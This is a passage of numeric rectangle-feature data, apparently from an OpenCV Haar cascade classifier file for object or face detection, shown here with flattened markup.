12 4 6 -1. + <_> + 3 14 4 2 3. + <_> + + <_> + 13 11 3 4 -1. + <_> + 13 13 3 2 2. + <_> + + <_> + 4 4 4 3 -1. + <_> + 4 5 4 1 3. + <_> + + <_> + 7 5 11 8 -1. + <_> + 7 9 11 4 2. + <_> + + <_> + 7 8 3 4 -1. + <_> + 8 8 1 4 3. + <_> + + <_> + 9 1 6 1 -1. + <_> + 11 1 2 1 3. + <_> + + <_> + 5 5 3 3 -1. + <_> + 5 6 3 1 3. + <_> + + <_> + 0 9 20 6 -1. + <_> + 10 9 10 3 2. + <_> + 0 12 10 3 2. + <_> + + <_> + 8 6 3 5 -1. + <_> + 9 6 1 5 3. + <_> + + <_> + 11 0 1 3 -1. + <_> + 11 1 1 1 3. + <_> + + <_> + 4 2 4 2 -1. + <_> + 4 3 4 1 2. + <_> + + <_> + 12 6 4 3 -1. + <_> + 12 7 4 1 3. + <_> + + <_> + 5 0 6 4 -1. + <_> + 7 0 2 4 3. + <_> + + <_> + 9 7 3 8 -1. + <_> + 10 7 1 8 3. + <_> + + <_> + 9 7 2 2 -1. + <_> + 10 7 1 2 2. + <_> + + <_> + 6 7 14 4 -1. + <_> + 13 7 7 2 2. + <_> + 6 9 7 2 2. + <_> + + <_> + 0 5 3 6 -1. + <_> + 0 7 3 2 3. + <_> + + <_> + 13 11 3 4 -1. + <_> + 13 13 3 2 2. + <_> + + <_> + 4 11 3 4 -1. + <_> + 4 13 3 2 2. + <_> + + <_> + 5 9 12 8 -1. + <_> + 11 9 6 4 2. + <_> + 5 13 6 4 2. + <_> + + <_> + 9 12 1 3 -1. + <_> + 9 13 1 1 3. + <_> + + <_> + 10 15 2 4 -1. + <_> + 10 17 2 2 2. + <_> + + <_> + 7 7 6 1 -1. + <_> + 9 7 2 1 3. + <_> + + <_> + 12 3 6 6 -1. + <_> + 15 3 3 3 2. + <_> + 12 6 3 3 2. + <_> + + <_> + 0 4 10 6 -1. + <_> + 0 6 10 2 3. + <_> + + <_> + 8 3 8 14 -1. + <_> + 12 3 4 7 2. + <_> + 8 10 4 7 2. + <_> + + <_> + 4 4 7 15 -1. + <_> + 4 9 7 5 3. + <_> + + <_> + 12 2 6 8 -1. + <_> + 15 2 3 4 2. + <_> + 12 6 3 4 2. + <_> + + <_> + 2 2 6 8 -1. + <_> + 2 2 3 4 2. + <_> + 5 6 3 4 2. + <_> + + <_> + 2 13 18 7 -1. + <_> + 8 13 6 7 3. + <_> + + <_> + 4 3 8 14 -1. + <_> + 4 3 4 7 2. + <_> + 8 10 4 7 2. + <_> + + <_> + 18 1 2 6 -1. + <_> + 18 3 2 2 3. + <_> + + <_> + 9 11 2 3 -1. + <_> + 9 12 2 1 3. + <_> + + <_> + 18 1 2 6 -1. + <_> + 18 3 2 2 3. + <_> + + <_> + 0 1 2 6 -1. + <_> + 0 3 2 2 3. + <_> + + <_> + 1 5 18 6 -1. + <_> + 1 7 18 2 3. + <_> + + <_> + 0 2 6 7 -1. + <_> + 3 2 3 7 2. + <_> + + <_> + 7 3 6 14 -1. + <_> + 7 10 6 7 2. + <_> + + <_> + 3 7 13 10 -1. + <_> + 3 12 13 5 2. + <_> + + <_> + 11 15 2 2 -1. + <_> + 11 16 2 1 2. + <_> + + <_> + 2 11 16 4 -1. + <_> + 2 11 8 2 2. + <_> + 10 13 8 2 2. + <_> + + <_> + 13 7 6 4 -1. + <_> + 16 7 3 2 2. + <_> + 13 9 3 2 2. + <_> + + <_> + 6 10 3 9 -1. + <_> + 6 13 3 3 3. + <_> + + <_> + 14 6 1 6 -1. + <_> + 14 9 1 3 2. + <_> + + <_> + 5 10 4 1 -1. + <_> + 7 10 2 1 2. + <_> + + <_> + 3 8 15 5 -1. + <_> + 8 8 5 5 3. + <_> + + <_> + 1 6 5 4 -1. + <_> + 1 8 5 2 2. + <_> + + <_> + 3 1 17 6 -1. + <_> + 3 3 17 2 3. + <_> + + <_> + 6 7 8 2 -1. + <_> + 10 7 4 2 2. + <_> + + <_> + 9 7 3 2 -1. + <_> + 10 7 1 2 3. + <_> + + <_> + 8 7 3 2 -1. + <_> + 9 7 1 2 3. + <_> + + <_> + 8 9 4 2 -1. + <_> + 8 10 4 1 2. + <_> + + <_> + 8 8 4 3 -1. + <_> + 8 9 4 1 3. + <_> + + <_> + 9 5 6 4 -1. + <_> + 9 5 3 4 2. + <_> + + <_> + 8 13 4 3 -1. + <_> + 8 14 4 1 3. + <_> + + <_> + 4 7 12 6 -1. + <_> + 10 7 6 3 2. + <_> + 4 10 6 3 2. + <_> + + <_> + 8 14 4 3 -1. + <_> + 8 15 4 1 3. + <_> + + <_> + 9 7 3 3 -1. + <_> + 9 8 3 1 3. + <_> + + <_> + 7 4 3 8 -1. + <_> + 8 4 1 8 3. + <_> + + <_> + 10 0 3 6 -1. + <_> + 11 0 1 6 3. + <_> + + <_> + 6 3 4 8 -1. + <_> + 8 3 2 8 2. + <_> + + <_> + 14 3 6 13 -1. + <_> + 14 3 3 13 2. + <_> + + <_> + 8 13 3 6 -1. + <_> + 8 16 3 3 2. + <_> + + <_> + 14 3 6 13 -1. + <_> + 14 3 3 13 2. + <_> + + <_> + 0 7 10 4 -1. + <_> + 0 7 5 2 2. + <_> + 5 9 5 2 2. + <_> + + <_> + 14 3 6 13 -1. + <_> + 14 3 3 13 2. + <_> + + <_> + 0 3 6 13 -1. + <_> + 3 3 3 13 2. + <_> + + <_> + 9 1 4 1 -1. + <_> + 9 1 2 1 2. + <_> + + <_> + 8 0 2 1 -1. + <_> + 9 0 1 1 2. + <_> + + <_> + 10 16 4 4 -1. + <_> + 12 16 2 2 2. + <_> + 10 18 2 2 2. + <_> + + <_> + 9 6 2 3 -1. + <_> + 10 6 1 3 2. + <_> + + <_> + 4 5 12 2 -1. + <_> + 8 5 4 2 3. + <_> + + <_> + 8 7 3 5 -1. + <_> + 9 7 1 5 3. + <_> + + <_> + 6 4 8 6 -1. + <_> + 6 6 8 2 3. + <_> + + <_> + 9 5 2 12 -1. + <_> + 9 11 2 6 2. + <_> + + <_> + 4 6 6 8 -1. + <_> + 4 10 6 4 2. + <_> + + <_> + 12 2 8 5 -1. + <_> + 12 2 4 5 2. + <_> + + <_> + 0 8 18 3 -1. + <_> + 0 9 18 1 3. + <_> + + <_> + 8 12 4 8 -1. + <_> + 8 16 4 4 2. + <_> + + <_> + 0 2 8 5 -1. + <_> + 4 2 4 5 2. + <_> + + <_> + 13 11 3 4 -1. + <_> + 13 13 3 2 2. + <_> + + <_> + 5 11 6 1 -1. + <_> + 7 11 2 1 3. + <_> + + <_> + 11 3 3 1 -1. + <_> + 12 3 1 1 3. + <_> + + <_> + 7 13 5 3 -1. + <_> + 7 14 5 1 3. + <_> + + <_> + 11 11 7 6 -1. + <_> + 11 14 7 3 2. + <_> + + <_> + 2 11 7 6 -1. + <_> + 2 14 7 3 2. + <_> + + <_> + 12 14 2 6 -1. + <_> + 12 16 2 2 3. + <_> + + <_> + 8 14 3 3 -1. + <_> + 8 15 3 1 3. + <_> + + <_> + 11 0 3 5 -1. + <_> + 12 0 1 5 3. + <_> + + <_> + 6 1 4 9 -1. + <_> + 8 1 2 9 2. + <_> + + <_> + 10 3 6 1 -1. + <_> + 12 3 2 1 3. + <_> + + <_> + 8 8 3 4 -1. + <_> + 8 10 3 2 2. + <_> + + <_> + 8 12 4 2 -1. + <_> + 8 13 4 1 2. + <_> + + <_> + 5 18 4 2 -1. + <_> + 5 19 4 1 2. + <_> + + <_> + 2 1 18 6 -1. + <_> + 2 3 18 2 3. + <_> + + <_> + 6 0 3 2 -1. + <_> + 7 0 1 2 3. + <_> + + <_> + 13 8 6 2 -1. + <_> + 16 8 3 1 2. + <_> + 13 9 3 1 2. + <_> + + <_> + 6 10 3 6 -1. + <_> + 6 13 3 3 2. + <_> + + <_> + 0 13 20 4 -1. + <_> + 10 13 10 2 2. + <_> + 0 15 10 2 2. + <_> + + <_> + 7 7 6 5 -1. + <_> + 9 7 2 5 3. + <_> + + <_> + 11 0 2 2 -1. + <_> + 11 1 2 1 2. + <_> + + <_> + 1 8 6 2 -1. + <_> + 1 8 3 1 2. + <_> + 4 9 3 1 2. + <_> + + <_> + 0 2 20 2 -1. + <_> + 10 2 10 1 2. + <_> + 0 3 10 1 2. + <_> + + <_> + 7 14 5 3 -1. + <_> + 7 15 5 1 3. + <_> + + <_> + 7 13 6 6 -1. + <_> + 10 13 3 3 2. + <_> + 7 16 3 3 2. + <_> + + <_> + 9 12 2 3 -1. + <_> + 9 13 2 1 3. + <_> + + <_> + 16 11 1 6 -1. + <_> + 16 13 1 2 3. + <_> + + <_> + 3 11 1 6 -1. + <_> + 3 13 1 2 3. + <_> + + <_> + 4 4 14 12 -1. + <_> + 11 4 7 6 2. + <_> + 4 10 7 6 2. + <_> + + <_> + 5 4 3 3 -1. + <_> + 5 5 3 1 3. + <_> + + <_> + 12 3 3 3 -1. + <_> + 13 3 1 3 3. + <_> + + <_> + 6 6 8 3 -1. + <_> + 6 7 8 1 3. + <_> + + <_> + 12 3 3 3 -1. + <_> + 13 3 1 3 3. + <_> + + <_> + 3 1 4 10 -1. + <_> + 3 1 2 5 2. + <_> + 5 6 2 5 2. + <_> + + <_> + 5 7 10 2 -1. + <_> + 5 7 5 2 2. + <_> + + <_> + 8 7 3 3 -1. + <_> + 9 7 1 3 3. + <_> + + <_> + 15 12 2 3 -1. + <_> + 15 13 2 1 3. + <_> + + <_> + 7 8 3 4 -1. + <_> + 8 8 1 4 3. + <_> + + <_> + 13 4 1 12 -1. + <_> + 13 10 1 6 2. + <_> + + <_> + 4 5 12 12 -1. + <_> + 4 5 6 6 2. + <_> + 10 11 6 6 2. + <_> + + <_> + 7 14 7 3 -1. + <_> + 7 15 7 1 3. + <_> + + <_> + 3 12 2 3 -1. + <_> + 3 13 2 1 3. + <_> + + <_> + 3 2 14 2 -1. + <_> + 10 2 7 1 2. + <_> + 3 3 7 1 2. + <_> + + <_> + 0 1 3 10 -1. + <_> + 1 1 1 10 3. + <_> + + <_> + 9 0 6 5 -1. + <_> + 11 0 2 5 3. + <_> + + <_> + 5 7 6 2 -1. + <_> + 8 7 3 2 2. + <_> + + <_> + 7 1 6 10 -1. + <_> + 7 6 6 5 2. + <_> + + <_> + 1 1 18 3 -1. + <_> + 7 1 6 3 3. + <_> + + <_> + 16 3 3 6 -1. + <_> + 16 5 3 2 3. + <_> + + <_> + 6 3 7 6 -1. + <_> + 6 6 7 3 2. + <_> + + <_> + 4 7 12 2 -1. + <_> + 8 7 4 2 3. + <_> + + <_> + 0 4 17 10 -1. + <_> + 0 9 17 5 2. + <_> + + <_> + 3 4 15 16 -1. + <_> + 3 12 15 8 2. + <_> + + <_> + 7 15 6 4 -1. + <_> + 7 17 6 2 2. + <_> + + <_> + 15 2 4 9 -1. + <_> + 15 2 2 9 2. + <_> + + <_> + 2 3 3 2 -1. + <_> + 2 4 3 1 2. + <_> + + <_> + 13 6 7 9 -1. + <_> + 13 9 7 3 3. + <_> + + <_> + 8 11 4 3 -1. + <_> + 8 12 4 1 3. + <_> + + <_> + 0 2 20 6 -1. + <_> + 10 2 10 3 2. + <_> + 0 5 10 3 2. + <_> + + <_> + 3 2 6 10 -1. + <_> + 3 2 3 5 2. + <_> + 6 7 3 5 2. + <_> + + <_> + 13 10 3 4 -1. + <_> + 13 12 3 2 2. + <_> + + <_> + 4 10 3 4 -1. + <_> + 4 12 3 2 2. + <_> + + <_> + 7 5 6 3 -1. + <_> + 9 5 2 3 3. + <_> + + <_> + 7 6 6 8 -1. + <_> + 7 10 6 4 2. + <_> + + <_> + 0 11 20 6 -1. + <_> + 0 14 20 3 2. + <_> + + <_> + 4 13 4 6 -1. + <_> + 4 13 2 3 2. + <_> + 6 16 2 3 2. + <_> + + <_> + 6 0 8 12 -1. + <_> + 10 0 4 6 2. + <_> + 6 6 4 6 2. + <_> + + <_> + 2 0 15 2 -1. + <_> + 2 1 15 1 2. + <_> + + <_> + 9 12 2 3 -1. + <_> + 9 13 2 1 3. + <_> + + <_> + 3 12 1 2 -1. + <_> + 3 13 1 1 2. + <_> + + <_> + 9 11 2 3 -1. + <_> + 9 12 2 1 3. + <_> + + <_> + 7 3 3 1 -1. + <_> + 8 3 1 1 3. + <_> + + <_> + 17 7 3 6 -1. + <_> + 17 9 3 2 3. + <_> + + <_> + 7 2 3 2 -1. + <_> + 8 2 1 2 3. + <_> + + <_> + 11 4 5 3 -1. + <_> + 11 5 5 1 3. + <_> + + <_> + 4 4 5 3 -1. + <_> + 4 5 5 1 3. + <_> + + <_> + 19 3 1 2 -1. + <_> + 19 4 1 1 2. + <_> + + <_> + 5 5 4 3 -1. + <_> + 5 6 4 1 3. + <_> + + <_> + 17 7 3 6 -1. + <_> + 17 9 3 2 3. + <_> + + <_> + 0 7 3 6 -1. + <_> + 0 9 3 2 3. + <_> + + <_> + 14 2 6 9 -1. + <_> + 14 5 6 3 3. + <_> + + <_> + 0 4 5 6 -1. + <_> + 0 6 5 2 3. + <_> + + <_> + 10 5 6 2 -1. + <_> + 12 5 2 2 3. + <_> + + <_> + 4 5 6 2 -1. + <_> + 6 5 2 2 3. + <_> + + <_> + 8 1 4 6 -1. + <_> + 8 3 4 2 3. + <_> + + <_> + 0 2 3 6 -1. + <_> + 0 4 3 2 3. + <_> + + <_> + 6 6 8 3 -1. + <_> + 6 7 8 1 3. + <_> + + <_> + 0 1 5 9 -1. + <_> + 0 4 5 3 3. + <_> + + <_> + 16 0 4 15 -1. + <_> + 16 0 2 15 2. + <_> + + <_> + 1 10 3 2 -1. + <_> + 1 11 3 1 2. + <_> + + <_> + 14 4 1 10 -1. + <_> + 14 9 1 5 2. + <_> + + <_> + 0 1 4 12 -1. + <_> + 2 1 2 12 2. + <_> + + <_> + 11 11 4 2 -1. + <_> + 11 11 2 2 2. + <_> + + <_> + 5 11 4 2 -1. + <_> + 7 11 2 2 2. + <_> + + <_> + 3 8 15 5 -1. + <_> + 8 8 5 5 3. + <_> + + <_> + 0 0 6 10 -1. + <_> + 3 0 3 10 2. + <_> + + <_> + 11 4 3 2 -1. + <_> + 12 4 1 2 3. + <_> + + <_> + 8 12 3 8 -1. + <_> + 8 16 3 4 2. + <_> + + <_> + 8 14 5 3 -1. + <_> + 8 15 5 1 3. + <_> + + <_> + 7 14 4 3 -1. + <_> + 7 15 4 1 3. + <_> + + <_> + 11 4 3 2 -1. + <_> + 12 4 1 2 3. + <_> + + <_> + 3 15 14 4 -1. + <_> + 3 15 7 2 2. + <_> + 10 17 7 2 2. + <_> + + <_> + 2 2 16 4 -1. + <_> + 10 2 8 2 2. + <_> + 2 4 8 2 2. + <_> + + <_> + 0 8 6 12 -1. + <_> + 3 8 3 12 2. + <_> + + <_> + 5 7 10 2 -1. + <_> + 5 7 5 2 2. + <_> + + <_> + 9 7 2 5 -1. + <_> + 10 7 1 5 2. + <_> + + <_> + 13 7 6 4 -1. + <_> + 16 7 3 2 2. + <_> + 13 9 3 2 2. + <_> + + <_> + 0 13 8 2 -1. + <_> + 0 14 8 1 2. + <_> + + <_> + 13 7 6 4 -1. + <_> + 16 7 3 2 2. + <_> + 13 9 3 2 2. + <_> + + <_> + 1 7 6 4 -1. + <_> + 1 7 3 2 2. + <_> + 4 9 3 2 2. + <_> + + <_> + 12 6 1 12 -1. + <_> + 12 12 1 6 2. + <_> + + <_> + 9 5 2 6 -1. + <_> + 10 5 1 6 2. + <_> + + <_> + 14 12 2 3 -1. + <_> + 14 13 2 1 3. + <_> + + <_> + 4 12 2 3 -1. + <_> + 4 13 2 1 3. + <_> + + <_> + 8 12 4 3 -1. + <_> + 8 13 4 1 3. + <_> + + <_> + 5 2 2 4 -1. + <_> + 5 2 1 2 2. + <_> + 6 4 1 2 2. + <_> + + <_> + 5 5 11 3 -1. + <_> + 5 6 11 1 3. + <_> + + <_> + 7 6 4 12 -1. + <_> + 7 12 4 6 2. + <_> + + <_> + 12 13 8 5 -1. + <_> + 12 13 4 5 2. + <_> + + <_> + 7 6 1 12 -1. + <_> + 7 12 1 6 2. + <_> + + <_> + 1 2 6 3 -1. + <_> + 4 2 3 3 2. + <_> + + <_> + 9 5 6 10 -1. + <_> + 12 5 3 5 2. + <_> + 9 10 3 5 2. + <_> + + <_> + 5 5 8 12 -1. + <_> + 5 5 4 6 2. + <_> + 9 11 4 6 2. + <_> + + <_> + 0 7 20 6 -1. + <_> + 0 9 20 2 3. + <_> + + <_> + 4 2 2 2 -1. + <_> + 4 3 2 1 2. + <_> + + <_> + 4 18 12 2 -1. + <_> + 8 18 4 2 3. + <_> + + <_> + 7 4 4 16 -1. + <_> + 7 12 4 8 2. + <_> + + <_> + 7 6 7 8 -1. + <_> + 7 10 7 4 2. + <_> + + <_> + 6 3 3 1 -1. + <_> + 7 3 1 1 3. + <_> + + <_> + 11 15 2 4 -1. + <_> + 11 17 2 2 2. + <_> + + <_> + 3 5 4 8 -1. + <_> + 3 9 4 4 2. + <_> + + <_> + 7 1 6 12 -1. + <_> + 7 7 6 6 2. + <_> + + <_> + 4 6 6 2 -1. + <_> + 6 6 2 2 3. + <_> + + <_> + 16 4 4 6 -1. + <_> + 16 6 4 2 3. + <_> + + <_> + 3 3 5 2 -1. + <_> + 3 4 5 1 2. + <_> + + <_> + 9 11 2 3 -1. + <_> + 9 12 2 1 3. + <_> + + <_> + 2 16 4 2 -1. + <_> + 2 17 4 1 2. + <_> + + <_> + 7 13 6 6 -1. + <_> + 10 13 3 3 2. + <_> + 7 16 3 3 2. + <_> + + <_> + 7 0 3 4 -1. + <_> + 8 0 1 4 3. + <_> + + <_> + 8 15 4 3 -1. + <_> + 8 16 4 1 3. + <_> + + <_> + 0 4 4 6 -1. + <_> + 0 6 4 2 3. + <_> + + <_> + 5 6 12 3 -1. + <_> + 9 6 4 3 3. + <_> + + <_> + 7 6 6 14 -1. + <_> + 9 6 2 14 3. + <_> + + <_> + 9 7 3 3 -1. + <_> + 10 7 1 3 3. + <_> + + <_> + 6 12 2 4 -1. + <_> + 6 14 2 2 2. + <_> + + <_> + 10 12 7 6 -1. + <_> + 10 14 7 2 3. + <_> + + <_> + 1 0 15 2 -1. + <_> + 1 1 15 1 2. + <_> + + <_> + 14 0 6 6 -1. + <_> + 14 0 3 6 2. + <_> + + <_> + 5 3 3 1 -1. + <_> + 6 3 1 1 3. + <_> + + <_> + 14 0 6 6 -1. + <_> + 14 0 3 6 2. + <_> + + <_> + 0 3 20 10 -1. + <_> + 0 8 20 5 2. + <_> + + <_> + 14 0 6 6 -1. + <_> + 14 0 3 6 2. + <_> + + <_> + 0 0 6 6 -1. + <_> + 3 0 3 6 2. + <_> + + <_> + 19 15 1 2 -1. + <_> + 19 16 1 1 2. + <_> + + <_> + 0 2 4 8 -1. + <_> + 2 2 2 8 2. + <_> + + <_> + 2 1 18 4 -1. + <_> + 11 1 9 2 2. + <_> + 2 3 9 2 2. + <_> + + <_> + 8 12 1 2 -1. + <_> + 8 13 1 1 2. + <_> + + <_> + 5 2 10 6 -1. + <_> + 10 2 5 3 2. + <_> + 5 5 5 3 2. + <_> + + <_> + 9 7 2 4 -1. + <_> + 10 7 1 4 2. + <_> + + <_> + 9 7 3 3 -1. + <_> + 10 7 1 3 3. + <_> + + <_> + 4 5 12 8 -1. + <_> + 8 5 4 8 3. + <_> + + <_> + 15 15 4 3 -1. + <_> + 15 16 4 1 3. + <_> + + <_> + 8 18 3 1 -1. + <_> + 9 18 1 1 3. + <_> + + <_> + 9 13 4 3 -1. + <_> + 9 14 4 1 3. + <_> + + <_> + 7 13 4 3 -1. + <_> + 7 14 4 1 3. + <_> + + <_> + 19 15 1 2 -1. + <_> + 19 16 1 1 2. + <_> + + <_> + 0 15 8 4 -1. + <_> + 0 17 8 2 2. + <_> + + <_> + 9 3 6 4 -1. + <_> + 11 3 2 4 3. + <_> + + <_> + 8 14 4 3 -1. + <_> + 8 15 4 1 3. + <_> + + <_> + 3 14 14 6 -1. + <_> + 3 16 14 2 3. + <_> + + <_> + 6 3 6 6 -1. + <_> + 6 6 6 3 2. + <_> + + <_> + 5 11 10 6 -1. + <_> + 5 14 10 3 2. + <_> + + <_> + 3 10 3 4 -1. + <_> + 4 10 1 4 3. + <_> + + <_> + 13 9 2 2 -1. + <_> + 13 9 1 2 2. + <_> + + <_> + 5 3 6 4 -1. + <_> + 7 3 2 4 3. + <_> + + <_> + 9 7 3 3 -1. + <_> + 10 7 1 3 3. + <_> + + <_> + 2 12 2 3 -1. + <_> + 2 13 2 1 3. + <_> + + <_> + 9 8 3 12 -1. + <_> + 9 12 3 4 3. + <_> + + <_> + 3 14 4 6 -1. + <_> + 3 14 2 3 2. + <_> + 5 17 2 3 2. + <_> + + <_> + 16 15 2 2 -1. + <_> + 16 16 2 1 2. + <_> + + <_> + 2 15 2 2 -1. + <_> + 2 16 2 1 2. + <_> + + <_> + 8 12 4 3 -1. + <_> + 8 13 4 1 3. + <_> + + <_> + 0 7 20 1 -1. + <_> + 10 7 10 1 2. + <_> + + <_> + 7 6 8 3 -1. + <_> + 7 6 4 3 2. + <_> + + <_> + 5 7 8 2 -1. + <_> + 9 7 4 2 2. + <_> + + <_> + 9 7 3 5 -1. + <_> + 10 7 1 5 3. + <_> + + <_> + 8 7 3 5 -1. + <_> + 9 7 1 5 3. + <_> + + <_> + 11 1 3 5 -1. + <_> + 12 1 1 5 3. + <_> + + <_> + 6 2 3 6 -1. + <_> + 7 2 1 6 3. + <_> + + <_> + 14 14 6 5 -1. + <_> + 14 14 3 5 2. + <_> + + <_> + 9 8 2 2 -1. + <_> + 9 9 2 1 2. + <_> + + <_> + 10 7 1 3 -1. + <_> + 10 8 1 1 3. + <_> + + <_> + 6 6 2 2 -1. + <_> + 6 6 1 1 2. + <_> + 7 7 1 1 2. + <_> + + <_> + 2 11 18 4 -1. + <_> + 11 11 9 2 2. + <_> + 2 13 9 2 2. + <_> + + <_> + 6 6 2 2 -1. + <_> + 6 6 1 1 2. + <_> + 7 7 1 1 2. + <_> + + <_> + 0 15 20 2 -1. + <_> + 0 16 20 1 2. + <_> + + <_> + 4 14 2 3 -1. + <_> + 4 15 2 1 3. + <_> + + <_> + 8 14 4 3 -1. + <_> + 8 15 4 1 3. + <_> + + <_> + 8 7 2 3 -1. + <_> + 8 8 2 1 3. + <_> + + <_> + 9 10 2 3 -1. + <_> + 9 11 2 1 3. + <_> + + <_> + 5 4 10 4 -1. + <_> + 5 6 10 2 2. + <_> + + <_> + 9 7 6 4 -1. + <_> + 12 7 3 2 2. + <_> + 9 9 3 2 2. + <_> + + <_> + 4 7 3 6 -1. + <_> + 4 9 3 2 3. + <_> + + <_> + 11 15 4 4 -1. + <_> + 13 15 2 2 2. + <_> + 11 17 2 2 2. + <_> + + <_> + 7 8 4 2 -1. + <_> + 7 9 4 1 2. + <_> + + <_> + 13 1 4 3 -1. + <_> + 13 1 2 3 2. + <_> + + <_> + 5 15 4 4 -1. + <_> + 5 15 2 2 2. + <_> + 7 17 2 2 2. + <_> + + <_> + 9 5 4 7 -1. + <_> + 9 5 2 7 2. + <_> + + <_> + 5 6 8 3 -1. + <_> + 9 6 4 3 2. + <_> + + <_> + 9 9 2 2 -1. + <_> + 9 10 2 1 2. + <_> + + <_> + 7 15 5 3 -1. + <_> + 7 16 5 1 3. + <_> + + <_> + 11 10 4 3 -1. + <_> + 11 10 2 3 2. + <_> + + <_> + 6 9 8 10 -1. + <_> + 6 14 8 5 2. + <_> + + <_> + 10 11 6 2 -1. + <_> + 10 11 3 2 2. + <_> + + <_> + 4 11 6 2 -1. + <_> + 7 11 3 2 2. + <_> + + <_> + 11 3 8 1 -1. + <_> + 11 3 4 1 2. + <_> + + <_> + 6 3 3 2 -1. + <_> + 7 3 1 2 3. + <_> + + <_> + 14 5 6 5 -1. + <_> + 14 5 3 5 2. + <_> + + <_> + 7 5 2 12 -1. + <_> + 7 11 2 6 2. + <_> + + <_> + 8 11 4 3 -1. + <_> + 8 12 4 1 3. + <_> + + <_> + 4 1 2 3 -1. + <_> + 5 1 1 3 2. + <_> + + <_> + 18 3 2 6 -1. + <_> + 18 5 2 2 3. + <_> + + <_> + 0 3 2 6 -1. + <_> + 0 5 2 2 3. + <_> + + <_> + 9 12 2 3 -1. + <_> + 9 13 2 1 3. + <_> + + <_> + 7 13 4 3 -1. + <_> + 7 14 4 1 3. + <_> + + <_> + 18 0 2 6 -1. + <_> + 18 2 2 2 3. + <_> + + <_> + 0 0 2 6 -1. + <_> + 0 2 2 2 3. + <_> + + <_> + 8 14 6 3 -1. + <_> + 8 15 6 1 3. + <_> + + <_> + 7 4 2 4 -1. + <_> + 8 4 1 4 2. + <_> + + <_> + 8 5 4 6 -1. + <_> + 8 7 4 2 3. + <_> + + <_> + 6 4 2 2 -1. + <_> + 7 4 1 2 2. + <_> + + <_> + 3 14 14 4 -1. + <_> + 10 14 7 2 2. + <_> + 3 16 7 2 2. + <_> + + <_> + 6 15 6 2 -1. + <_> + 6 15 3 1 2. + <_> + 9 16 3 1 2. + <_> + + <_> + 14 15 6 2 -1. + <_> + 14 16 6 1 2. + <_> + + <_> + 2 12 12 8 -1. + <_> + 2 16 12 4 2. + <_> + + <_> + 7 7 7 2 -1. + <_> + 7 8 7 1 2. + <_> + + <_> + 0 2 18 2 -1. + <_> + 0 3 18 1 2. + <_> + + <_> + 9 6 2 5 -1. + <_> + 9 6 1 5 2. + <_> + + <_> + 7 5 3 8 -1. + <_> + 8 5 1 8 3. + <_> + + <_> + 9 6 3 4 -1. + <_> + 10 6 1 4 3. + <_> + + <_> + 4 13 3 2 -1. + <_> + 4 14 3 1 2. + <_> + + <_> + 9 4 6 3 -1. + <_> + 11 4 2 3 3. + <_> + + <_> + 5 4 6 3 -1. + <_> + 7 4 2 3 3. + <_> + + <_> + 14 11 5 2 -1. + <_> + 14 12 5 1 2. + <_> + + <_> + 1 2 6 9 -1. + <_> + 3 2 2 9 3. + <_> + + <_> + 14 6 6 13 -1. + <_> + 14 6 3 13 2. + <_> + + <_> + 3 6 14 8 -1. + <_> + 3 6 7 4 2. + <_> + 10 10 7 4 2. + <_> + + <_> + 16 0 4 11 -1. + <_> + 16 0 2 11 2. + <_> + + <_> + 3 4 12 12 -1. + <_> + 3 4 6 6 2. + <_> + 9 10 6 6 2. + <_> + + <_> + 11 4 5 3 -1. + <_> + 11 5 5 1 3. + <_> + + <_> + 4 11 4 2 -1. + <_> + 4 12 4 1 2. + <_> + + <_> + 10 7 2 2 -1. + <_> + 10 7 1 2 2. + <_> + + <_> + 8 7 2 2 -1. + <_> + 9 7 1 2 2. + <_> + + <_> + 9 17 3 2 -1. + <_> + 10 17 1 2 3. + <_> + + <_> + 5 6 3 3 -1. + <_> + 5 7 3 1 3. + <_> + + <_> + 10 0 3 3 -1. + <_> + 11 0 1 3 3. + <_> + + <_> + 5 6 6 2 -1. + <_> + 5 6 3 1 2. + <_> + 8 7 3 1 2. + <_> + + <_> + 12 16 4 3 -1. + <_> + 12 17 4 1 3. + <_> + + <_> + 3 12 3 2 -1. + <_> + 3 13 3 1 2. + <_> + + <_> + 9 12 3 2 -1. + <_> + 9 13 3 1 2. + <_> + + <_> + 1 11 16 4 -1. + <_> + 1 11 8 2 2. + <_> + 9 13 8 2 2. + <_> + + <_> + 12 4 3 3 -1. + <_> + 12 5 3 1 3. + <_> + + <_> + 4 4 5 3 -1. + <_> + 4 5 5 1 3. + <_> + + <_> + 12 16 4 3 -1. + <_> + 12 17 4 1 3. + <_> + + <_> + 5 4 3 3 -1. + <_> + 5 5 3 1 3. + <_> + + <_> + 9 0 2 2 -1. + <_> + 9 1 2 1 2. + <_> + + <_> + 8 9 4 2 -1. + <_> + 8 10 4 1 2. + <_> + + <_> + 8 8 4 3 -1. + <_> + 8 9 4 1 3. + <_> + + <_> + 0 13 6 3 -1. + <_> + 2 13 2 3 3. + <_> + + <_> + 16 14 3 2 -1. + <_> + 16 15 3 1 2. + <_> + + <_> + 1 18 18 2 -1. + <_> + 7 18 6 2 3. + <_> + + <_> + 16 14 3 2 -1. + <_> + 16 15 3 1 2. + <_> + + <_> + 1 14 3 2 -1. + <_> + 1 15 3 1 2. + <_> + + <_> + 7 14 6 3 -1. + <_> + 7 15 6 1 3. + <_> + + <_> + 5 14 8 3 -1. + <_> + 5 15 8 1 3. + <_> + + <_> + 10 6 4 14 -1. + <_> + 10 6 2 14 2. + <_> + + <_> + 6 6 4 14 -1. + <_> + 8 6 2 14 2. + <_> + + <_> + 13 5 2 3 -1. + <_> + 13 6 2 1 3. + <_> + + <_> + 7 16 6 1 -1. + <_> + 9 16 2 1 3. + <_> + + <_> + 9 12 3 3 -1. + <_> + 9 13 3 1 3. + <_> + + <_> + 7 0 3 3 -1. + <_> + 8 0 1 3 3. + <_> + + <_> + 4 0 16 18 -1. + <_> + 4 9 16 9 2. + <_> + + <_> + 1 1 16 14 -1. + <_> + 1 8 16 7 2. + <_> + + <_> + 3 9 15 4 -1. + <_> + 8 9 5 4 3. + <_> + + <_> + 6 12 7 3 -1. + <_> + 6 13 7 1 3. + <_> + + <_> + 14 15 2 3 -1. + <_> + 14 16 2 1 3. + <_> + + <_> + 2 3 16 14 -1. + <_> + 2 3 8 7 2. + <_> + 10 10 8 7 2. + <_> + + <_> + 16 2 4 18 -1. + <_> + 18 2 2 9 2. + <_> + 16 11 2 9 2. + <_> + + <_> + 4 15 2 3 -1. + <_> + 4 16 2 1 3. + <_> + + <_> + 16 2 4 18 -1. + <_> + 18 2 2 9 2. + <_> + 16 11 2 9 2. + <_> + + <_> + 1 1 8 3 -1. + <_> + 1 2 8 1 3. + <_> + + <_> + 8 11 4 3 -1. + <_> + 8 12 4 1 3. + <_> + + <_> + 5 11 5 9 -1. + <_> + 